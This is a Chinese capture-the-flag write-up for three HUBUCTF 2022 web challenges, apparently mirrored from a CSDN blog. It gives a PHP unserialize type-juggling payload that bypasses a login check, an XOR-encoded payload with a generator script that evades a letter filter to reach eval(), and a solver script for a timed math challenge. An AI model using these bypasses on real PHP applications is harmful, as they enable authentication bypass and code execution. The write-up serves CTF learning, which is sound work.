码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [HUBUCTF 2022 新生赛]


    checkin


    1. show_source(__FILE__);
    2. $username = "this_is_secret";
    3. $password = "this_is_not_known_to_you";
    4. include("flag.php");//here I changed those two
    5. $info = isset($_GET['info'])? $_GET['info']: "" ;
    6. $data_unserialize = unserialize($info);
    7. if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    8. echo $flag;
    9. }else{
    10. echo "username or password error!";
    11. }

            先对代码进行审计,发现isset( )是我们没见过的用法,可以去了解一下。

    isset() 函数用于检测变量是否已设置并且非 NULL。

    以上是基本用途,而本题中用到的是php的三元运算符

    $id = isset($_GET['id']) ? $_GET['id'] : '';

    (条件) ? (值1):(值2);

    解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。

    isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
    这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
    如果$_GET['id']没有被设置,则$id = '';

            继续向下看,发现unserialize, 就可以知道和反序列化有关了。

    exp:

    1. $info = array(
    2. 'username'=>true,
    3. 'password'=>true
    4. );
    5. $serialized_data = serialize($info);
    6. echo $serialized_data . PHP_EOL;
    7. ?>

            得到payload

    ?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
    

            这里卡在exp怎么写,后来详细了解了一下序列化和反序列化以后,再结合上面的isset( ),知道了username和password要用boolen类型,才写了出来。

    HowToGetShell


    1. show_source(__FILE__);
    2. $mess=$_POST['mess'];
    3. if(preg_match("/[a-zA-Z]/",$mess)){
    4. die("invalid input!");
    5. }
    6. eval($mess);

            这道题一眼可以看到preg_match( )函数 ,对于/a-zA-Z/这个正则表达式,我们可以利用PHP动态函数的特性,构造出字符串。

    1. valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
    2. answer = "phpinfo"
    3. tmp1,tmp2 = '',''
    4. for c in answer:
    5. for i in valid:
    6. for j in valid:
    7. if (ord(i)^ord(j) == ord(c)):
    8. tmp1 += i
    9. tmp2 += j
    10. break
    11. else:
    12. continue
    13. break
    14. print(tmp1,tmp2)

    payload

    mess=$_="0302181"^"@[@[_^^";$_();

    参考链接

    Calculate


    题目是想让我们做数学题,而且要速度介于1-3s之间,回答20个问题即可给出flag。但是我对这道题目无从下手,exp也不会写就去找了大佬的

     

    1. # -*- coding: utf-8 -*-
    2. import time
    3. import requests
    4. import re
    5. url = 'http://1.14.71.254:28110/'
    6. ses = requests.session()
    7. reg = re.compile(">(.))
    8. while True:
    9. get = ses.get(url)
    10. math = reg.findall(get.text)
    11. final = ''.join(math)[:-1]
    12. result = str(eval(final))
    13. print(result)
    14. time.sleep(1)
    15. post = ses.post(url=url, data={"ans": result})
    16. if 'NSS' in post.text:
    17. print(post.text)
    18. break
    19. time.sleep(1)

    最后也是得到了flag。

  • 相关阅读:
    全会月薪至少 3W 的 面试题汇总,
    Java版本+企业电子招投标系统源代码+支持二开+Spring cloud
    【PyTorch教程】如何使用PyTorch分布式并行模块DistributedDataParallel(DDP)进行多卡训练
    面试官:做过支付资产?那先聊聊热点账户吧
    Redis实战案例及问题分析之好友关注功能(关注、共同好友、消息推送)
    多策略协同改进的阿基米德优化算法及其应用(Matlab代码实现)
    BootStrapBlazor 安装教程--Server模式
    SpringCloud OpenFeign--声明式WebService 客户端
    【Qt控件之QButtonGroup】概述及使用
    Day26-龟兔赛跑案例、Callable接口、静态代理、Lambda表达式
  • 原文地址:https://blog.csdn.net/zhhhb1005/article/details/127035837
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号